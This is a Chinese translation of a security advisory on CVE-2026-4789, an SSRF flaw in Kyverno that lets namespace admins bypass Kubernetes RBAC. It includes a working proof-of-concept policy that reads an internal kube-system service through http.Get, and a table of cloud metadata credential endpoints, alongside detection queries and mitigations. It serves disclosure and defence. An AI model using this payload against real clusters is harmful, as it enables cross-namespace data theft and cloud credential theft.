打破K8s命名空间隔离:CVE-2026-4789Kyverno漏洞详解

admin 2026-04-16 05:03:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Kyverno1.16.0及以上版本存在严重SSRF漏洞CVE-2026-4789,允许命名空间权限用户通过恶意策略使准入控制器Pod发起任意HTTP请求,完全绕过KubernetesRBAC机制。攻击者可窃取跨命名空间数据及云元数据凭证,CVSS评分9.8。修复代码已合并但尚未发布正式版本,建议用户审计现有策略并监控异常出站流量。 综合评分: 85 文章分类: 漏洞分析,云安全,解决方案,WEB安全,安全运营


cover_image

打破K8s命名空间隔离:CVE-2026-4789 Kyverno漏洞详解

Dubito Dubito

云原生安全指北

2026年4月13日 08:35 江苏

在小说阅读器读本章

去阅读

注:本文翻译自 ORCA Security 的文章《Kyverno SSRF: Breaking Kubernetes Namespace Isolation (CVE-2026-4789)》[1],可点击文末“阅读原文”按钮查看英文原文。

全文如下:

摘要

Kyverno 1.16.0 及更高版本中存在一个严重的 SSRF(Server-Side Request Forgery,服务端请求伪造,指攻击者诱使服务器以其身份发起 HTTP 请求)漏洞。拥有 Namespace 范围权限的用户可迫使 Kyverno 准入控制器(Admission Controller)Pod 发起任意 HTTP 请求,从而完全绕过 Kubernetes RBAC 机制。这将导致攻击者能够访问集群内部服务、窃取跨 Namespace 数据,并通过元数据端点(Metadata Endpoint)窃取云服务凭证。目前尚未观测到该漏洞被主动利用。修复代码已合并至 Kyverno 主分支(PR #15789,2026 年 4 月 6 日),但尚未发布包含补丁的正式版本。

注:NVD 评估向量显示为 PR:N(无需任何权限)[2]。但实际上,漏洞利用需要具备 Namespace 范围内的策略创建权限(PR:L),除此之外无需额外的身份认证。

| 属性 | 详情 | | — | — | | CVE 编号 | CVE-2026-4789 | | 严重性 | 严重(CVSS 9.8,NVD) | | CWE 类型 | CWE-918(服务端请求伪造) | | 受影响版本 | >= 1.16.0 | | 所需权限 | 低(Namespace 范围内的策略创建权限) | | 利用复杂度 | 低 | | 是否正被积极利用 | 否 | | 修复可用性 | 修复已合并至主分支(PR #15789,4 月 6 日)。尚无带补丁的正式版本(最新版为 1.17.1)。 |

一、什么是 Kyverno?

Kyverno 是一款 Kubernetes 原生策略引擎[3],以动态准入控制器(Admission Controller)形式运行。准入控制器是一个在 API 请求持久化至 Kubernetes API Server 之前对其进行拦截的组件,可用于验证、修改或拒绝请求。企业通常使用 Kyverno 来强制执行 Pod 安全标准(Pod Security Standards)、校验镜像签名及确保合规性。

Kyverno 支持两类策略:集群范围策略(Cluster-scoped Policies,需具备 cluster-admin 权限方可创建)和命名空间策略(Namespaced Policies,可将管理权限下放至 Namespace 管理员)。其安全模型假定命名空间策略的作用域仅限于其所属的 Namespace。该漏洞打破了这一假定。

二、深入剖析:漏洞代码详情

Kyverno 1.16.0 引入了基于 CEL 的策略支持。CEL(Common Expression Language,通用表达式语言)是一种用于 Kubernetes 内联策略逻辑的轻量级表达式语言。相关 http.Get() 和 http.Post() 函数也随之引入。漏洞根源在于策略编译器(Policy Compiler)初始化 HTTP 库的方式存在缺陷。

2.1 安全机制的不一致性

对比 Kyverno 两个 CEL 库在处理 Namespace 作用域时的差异:

resource.Lib —— 安全(强制执行 Namespace 隔离)

resource.Lib(
    resource.Context{ContextInterface: libsctx},
    namespace,  // 强制执行 namespace 参数
    resource.Latest(),
)

http.Lib —— 存在漏洞(未强制执行 Namespace 隔离)

http.Lib(
    http.Context{ContextInterface: http.NewHTTP(nil)},
    http.Latest(),  // 无 namespace 参数,无 URL 校验
)

resource.Lib 接收 namespace 参数并据此限制访问范围。http.Lib 则未接收此类参数。这种不一致性是根本原因:一个库在设计时考虑了 Namespace 隔离,而另一个库则没有。

2.2 存在漏洞的函数

位置: pkg/cel/libs/http/http.go(现位于 kyverno/sdk 中)

func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
    req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
    // 直接使用了 url —— 未做任何校验
    // 无针对 169.254.169.254 的黑名单机制
    // 无 Namespace 限制
    // 无目标地址检查
    for k, v := range headers {
        req.Header.Add(k, v)
    }
    resp, err := r.client.Do(req)
    ...
}

三、为何这会破坏 Namespace 隔离机制

关键洞见: 问题的关键在于 HTTP 请求的 发起位置,而非策略的 编写者

当命名空间策略调用 http.Get() 时,请求并非以策略编写者的身份执行,而是从 Kyverno 准入控制器(Admission Controller)Pod 发出。该 Pod 通常运行在 kyverno Namespace[4] 中,并具有特殊的网络位置优势:

  • • 集群范围网络访问能力: 可通过 http://service.any-namespace.svc.cluster.local 访问任意 Service。
  • • 云元数据访问能力: 可访问 http://169.254.169.254/…(云厂商的实例元数据服务)。
  • • RBAC 绕过: HTTP 请求属于网络调用,而非 Kubernetes API 调用。Kubernetes RBAC(Role-Based Access Control,基于角色的访问控制,用于管理通过 API 执行操作权限的系统)对原始网络流量不产生约束。

这也解释了此漏洞为何属于严重级别[5]。本应仅在其自身命名空间内拥有权限的命名空间管理员,现在可以触及 Kyverno Pod 网络栈能够访问的任何目标。“命名空间范围”与“集群范围”之间的信任边界已然瓦解。

四、概念验证(PoC)步骤详解

测试环境:Kyverno v1.16.2、Helm Chart 3.6.2、Kubernetes v1.35.0

4.1 第一步:验证攻击者无权访问 kube-system

$ kubectl auth can-i get pods -n kube-system \
    --as=system:serviceaccount:attacker-ns:namespace-admin
no
$ kubectl auth can-i get services -n kube-system \
    --as=system:serviceaccount:attacker-ns:namespace-admin
no

4.2 第二步:创建恶意命名空间策略

攻击者在其自身命名空间中创建一个 NamespacedValidatingPolicy 资源。此操作仅需 Namespace 级别权限,无需 cluster-admin 权限:

apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
  name: cel-ssrf-exploit
  namespace: attacker-ns
spec:
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        resources: ["configmaps"]
        operations: ["CREATE"]
  variables:
    - name: stolenData
      expression: |
        http.Get('http://internal-api.kube-system.svc.cluster.local')
  validations:
    - expression: "false"
      messageExpression: |
        'EXFILTRATED: ' + string(variables.stolenData)

4.3 第三步:触发策略并观察泄露数据

$ kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
    --as=system:serviceaccount:attacker-ns:namespace-admin

结果(来自在 kube-system 中部署了测试 Service 的 kind 集群 PoC 验证):

error: failed to create configmap: admission webhook
"nvpol.validate.kyverno.svc-fail" denied the request:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

此 PoC 脚本在 kube-system 中设置了一个测试 Service(基于 hashicorp/http-echo),其中包含已知的占位符值,随后利用漏洞将其窃取。攻击者虽对 kube-system 的 RBAC 访问权限为零,但仍成功从 Kyverno Pod 向另一个命名空间中的内部服务发起了 HTTP 请求。响应数据被回显在准入 Webhook 的错误信息中。完整的自动化 PoC 脚本创建一个 kind 集群、安装 Kyverno,并端到端地演示完整的漏洞利用链。

五、云元数据:关键风险所在

云元数据端点(即位于 169.254.169.254 的内部 HTTP 服务,云厂商通过它向虚拟机分发凭证和配置信息)仅依据网络位置进行身份认证。只要你的 Pod 能访问该端点,就能获取凭证。无需密码、无需令牌、无需任何认证流程。这是云厂商的既定设计。

这意味着,在托管于云上的 Kubernetes 集群中,利用此 SSRF 漏洞的攻击者可能窃取到临时云凭证(AWS 上的 IAM 角色密钥、GCP 上的服务账号令牌、Azure 上的托管身份令牌)。这些凭证可使攻击者进一步横向移动,甚至完全跳出集群边界,访问云上的其他资源。

| 云厂商 | 凭证端点 | 认证方式 | | — | — | — | | AWS | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | 无 | | GCP | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/ | 仅需特定 Header | | Azure | http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01 | 无 |

六、准入控制器作为 SSRF 目标:一种更广泛的模式

此漏洞不仅仅是 Kyverno 的缺陷,更揭示了一种结构性的攻击模式。防御者应对任何接受用户自定义逻辑的准入控制器或策略引擎保持警惕。以下三个特性的叠加构成了 SSRF 风险:

  • • 特权网络位置: 准入控制器运行在集群内部,通常具备广泛的出站访问权限。它们是受信任的基础设施组件,而非普通用户工作负载。
  • • 用户可控的输入触发网络调用: 当策略语言允许表达式解析为 HTTP 请求时(例如 CEL 的 http 函数、API 调用、外部数据查询),用户提供的内容就可能影响控制器的连接目标。
  • • 响应信息回显: 错误消息、审计日志及校验响应可能会将请求获取到的内容泄露回攻击者。

这种模式不仅限于 Kyverno。任何同时满足“以集群级别网络访问权限运行”和“评估用户提供的、可触发出站请求的表达式”这两个条件的 Kubernetes 组件,都应接受 SSRF 审计。以下组件值得以此视角进行审视:OPA/Gatekeeper 中 Rego 语言的 http.send 函数、Falco 的插件系统,以及包含模板化外部调用的自定义 Webhook 服务器。

核心设计问题在于:是否应允许命名空间(委派的)策略从特权组件发起出站 HTTP 请求? 在 Kyverno 的案例中,http.Lib 的加入或许是为了支持合法用例(例如从 CEL 表达式中调用外部校验 API)。但该功能在发布时既未附带 URL 限制,也未实现 Namespace 感知的作用域控制,更未区分集群范围策略与命名空间策略的上下文差异。缓解补丁(PR #15729)通过有条件地对命名空间策略禁用 http.Lib 来解决此问题,同时保留集群范围策略对该功能的访问。一个完整的修复方案还需在 kyverno/sdk 库层面增加 URL 校验逻辑。

七、检测与威胁狩猎指南

7.1 审计现有策略

搜索使用了 HTTP 函数的命名空间策略:

# 查找使用 http.Get 或 http.Post 的策略
kubectl get namespacedvalidatingpolicies -A -o yaml | \
  grep -E "http\.(Get|Post)"

kubectl get namespaceddeletingpolicies -A -o yaml | \
  grep -E "http\.(Get|Post)"

7.2 监控 Kyverno Pod 的出站流量

观察从 Kyverno 准入控制器(Admission Controller)发往其本不应访问的目标地址的连接:

  • • 169.254.169.254(云元数据服务)
  • • 除 kyverno 或 kube-system 以外的其他命名空间中的 Service
  • • 策略评估窗口期内访问的外部目标地址

7.3 日志分析

# Splunk/SIEM 伪代码示例
index=kubernetes sourcetype=kyverno
| search policy_type="Namespaced*"
| search (expression="*http.Get*" OR expression="*http.Post*")
| stats count by namespace, policy_name

八、纵深防御建议

  • • 为 Kyverno Pod 应用网络策略: 限制来自 kyverno 命名空间的出站流量,仅允许其访问 Kubernetes API Server 以及任何必须明确放行的外部服务。大多数 Kyverno 部署场景并不需要任意的出站 HTTP 访问能力。
  • • 在网络层阻断元数据端点访问: 使用 NetworkPolicy、iptables 规则或云平台防火墙规则,阻断不需要云凭证的 Pod 对 169.254.169.254 的访问。
  • • 启用 IMDSv2(AWS): IMDSv2 要求在读取任何元数据之前,先通过 HTTP PUT 请求获取会话令牌。由于 SSRF 攻击通常使用 GET 请求,难以轻松完成先 PUT 再 GET 的操作序列,IMDSv2 可显著增加基于 SSRF 窃取凭证的难度(尽管并非在所有场景下都能完全杜绝)。
  • • 审计并收紧策略创建相关的 RBAC 权限: 审查哪些主体拥有对 namespacedvalidatingpolicies 和 namespaceddeletingpolicies 资源的 create 权限。若命名空间管理员不需要使用 CEL HTTP 函数,可考虑通过 RBAC 或准入规则限制对这些 API 资源的访问。
  • • 关注修复进展: 跟踪 PR #15789(维护者提交的修复)及后续的 Kyverno 版本发布。一旦发布包含补丁的版本,请立即升级。

九、修复状态

修复代码已合并至 Kyverno 主分支(PR #15789,于 2026 年 4 月 6 日合并)。由 Orca Security 研究团队提交的原始缓解补丁(PR #15729)已被维护者关闭。维护者自行实现了一套更为全面的修复方案。维护者提供的修复内容包括:默认对命名空间策略禁用 http.Lib;新增 --allowHTTPInNamespacedPolicies 开关以支持按需启用;新增 HTTP 黑名单/白名单标志,其默认值覆盖了环回地址、本地链路地址、RFC-1918 私有地址段、云元数据端点及 CGNAT 地址段;此外还包括一致性测试。

重要提示: 目前尚无任何正式版本包含此修复。最新版本为 1.17.1(2026 年 2 月 19 日发布)。用户应在包含补丁的版本发布后立即升级。在此期间,请应用上文所述的网络策略和 RBAC 缓解措施。

原始缓解补丁 PR: https://github.com/kyverno/kyverno/pull/15729 (已关闭)

维护者修复 PR: https://github.com/kyverno/kyverno/pull/15789 (已合并至主分支)

十、披露时间线

| 日期 | 事件 | | — | — | | 2026-01-29 | 通过 GHSA-rggm-jjmc-3394 提交漏洞报告 | | 2026-02-04 | 向维护者跟进询问(未收到回复) | | 2026-02-06 | 提交至 CERT/CC | | 2026-02-09 | CERT/CC 立案,案件编号 VU#655822 | | 2026-03-24 | 分配 CVE 编号 CVE-2026-4789 | | 2026-03-26 | 提交缓解补丁 PR #15729 | | 2026-03-26 | 维护者在 PR 中展开讨论;提供了威胁模型的澄清说明 | | 2026-03-30 | 协调披露(VU#655822[6] 公开发布) | | 2026-04-05 | JimBugwadia 关闭 PR #15729,并创建维护者修复 PR #15789 | | 2026-04-06 | PR #15789 由 Fjogeleit 合并至主分支 |

十一、Orca Security 如何提供帮助

Orca 的无代理云安全平台可扫描 Kubernetes 集群,并识别出运行受影响的 Kyverno 版本(>= 1.16.0)的部署。结合 Orca 的攻击路径分析功能,安全团队可根据实际暴露面确定修复优先级:哪些集群面向互联网、哪些集群缺乏限制 Kyverno 出站流量的网络策略,以及哪些集群运行在未阻断元数据端点访问的云节点上。这些上下文信息可将一个通用的 CVE 告警转化为可操作的、基于实际风险的评估。

参考资料

  • • CVE-2026-4789(NVD):https://nvd.nist.gov/vuln/detail/CVE-2026-4789
  • • VU#655822(CERT/CC):https://kb.cert.org/vuls/id/655822
  • • GHSA-qqrv-2hch-83q4(公开安全通告):https://github.com/advisories/GHSA-qqrv-2hch-83q4
  • • GHSA-rggm-jjmc-3394(向维护者提交的原始私有报告)
  • • 缓解补丁 PR:https://github.com/kyverno/kyverno/pull/15729 (已关闭)
  • • 维护者修复 PR:https://github.com/kyverno/kyverno/pull/15789 (已合并至主分支)
  • • 相关的历史 Kyverno SSRF 修复(涉及不同代码路径):GHSA-8p9x-46gm-qfx2、GHSA-459x-q9hg-4gpq

致谢

  • • 漏洞发现者: Igor Stepansky,Orca Security 研究团队
  • • 协调方: CERT/CC(VU#655822)
  • • VU 通告作者: Dr. Elke Drennan, CISSP

引用链接

[1] 《Kyverno SSRF: Breaking Kubernetes Namespace Isolation (CVE-2026-4789)》: https://orca.security/resources/blog/kyverno-ssrf-vulnerability-cve-2026-4789/ [2] NVD 评估向量显示为 PR:N(无需任何权限): https://nvd.nist.gov/vuln/detail/CVE-2026-4789 [3] Kubernetes 原生策略引擎: https://orca.security/glossary/kubernetes-security/ [4] kyverno Namespace: https://orca.security/resources/open-source-projects/ [5] 此漏洞为何属于严重级别: https://orca.security/resources/blog/what-is-cnapp/ [6] VU#655822: https://kb.cert.org/vuls/id/655822

交流群


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:云原生安全指北 Dubito Dubito《打破K8s命名空间隔离:CVE-2026-4789 Kyverno漏洞详解》

评论:0   参与:  0